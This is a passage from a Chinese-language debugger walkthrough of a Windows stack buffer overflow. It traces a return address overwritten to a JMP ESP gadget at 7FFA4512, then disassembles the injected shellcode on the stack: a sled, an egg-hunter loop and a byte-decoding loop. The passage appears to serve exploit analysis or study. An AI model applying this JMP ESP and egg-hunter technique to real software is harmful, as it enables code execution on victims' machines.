返回地址变成了7FFA4512, 仔细看一下这个位置是JMP ESP 可以执行SHELLCODE了
--------
0023:001237B8 7FFA4512 484E9590 4A454E46 964B454E .E...NHFNEJNEK.
0023:001237C8 42414397 4B494192 41434E41 4A90914E .CAB.AIKANCAN..J
001B:016B2C47 5D POP EBP
001B:016B2C48 5F POP EDI
001B:016B2C49 5E POP ESI
001B:016B2C4A 5B POP EBX
001B:016B2C4B C3 RET
======================这条指令很关键啊====================================
001B:7FFA4512 FFE4 JMP ESP ===1237BC
这时的堆栈里面的内容
0023:001237BC 90 95 4E 48 46 4E 45 4A-4E 45 4B 96 97 43 41 42 ..NHFNEJNEK..CAB
0023:001237CC 92 41 49 4B 41 4E 43 41-4E 91 90 4A 95 96 41 90 .AIKANCAN..J..A.
堆栈里面反汇编后的代码
001B:001237BC 90 NOP
001B:001237BD 95 XCHG EAX,EBP
001B:001237BE 4E DEC ESI
001B:001237BF 48 DEC EAX
001B:001237C0 46 INC ESI
001B:001237C1 4E DEC ESI
001B:001237C2 45 INC EBP
001B:001237C3 4A DEC EDX
001B:001237C4 4E DEC ESI
001B:001237C5 45 INC EBP
001B:001237C6 4B DEC EBX
001B:001237C7 96 XCHG EAX,ESI
001B:001237C8 97 XCHG EAX,EDI
001B:001237C9 43 INC EBX
001B:001237CA 41 INC ECX
001B:001237CB 42 INC EDX
001B:001237CC 92 XCHG EAX,EDX
001B:001237CD 41 INC ECX
001B:001237CE 49 DEC ECX
001B:001237CF 4B DEC EBX
001B:001237D0 41 INC ECX
001B:001237D1 4E DEC ESI
001B:001237D2 43 INC EBX
001B:001237D3 41 INC ECX
001B:001237D4 4E DEC ESI
001B:001237D5 91 XCHG EAX,ECX
001B:001237D6 90 NOP
001B:001237D7 4A DEC EDX
001B:001237D8 95 XCHG EAX,EBP
001B:001237D9 96 XCHG EAX,ESI
001B:001237DA 41 INC ECX
001B:001237DB 90 NOP
001B:001237DC 4E DEC ESI
001B:001237DD 41 INC ECX
001B:001237DE 96 XCHG EAX,ESI
001B:001237DF 4E DEC ESI
001B:001237E0 49 DEC ECX
001B:001237E1 90 NOP
001B:001237E2 4E DEC ESI
001B:001237E3 41 INC ECX
001B:001237E4 45 INC EBP
001B:001237E5 4E DEC ESI
001B:001237E6 90 NOP
001B:001237E7 45 INC EBP
001B:001237E8 41 INC ECX
001B:001237E9 90 NOP
001B:001237EA 54 PUSH ESP
001B:001237EB 5B POP EBX
001B:001237EC B856524152 MOV EAX,52415256
001B:001237F1 40 INC EAX
001B:001237F2 43 INC EBX
001B:001237F3 3B03 CMP EAX,[EBX]
001B:001237F5 75FB JNZ 001237F2
001B:001237F7 83C304 ADD EBX,04
001B:001237FA 53 PUSH EBX
001B:001237FB 33C9 XOR ECX,ECX
001B:001237FD 66B92009 MOV CX,0920
001B:00123801 43 INC EBX
001B:00123802 803B5C CMP BYTE PTR [EBX],5C
001B:00123805 7503 JNZ 0012380A
001B:00123807 8003A3 ADD BYTE PTR [EBX],A3
001B:0012380A E2F5 LOOP 00123801
001B:0012380C C3 RET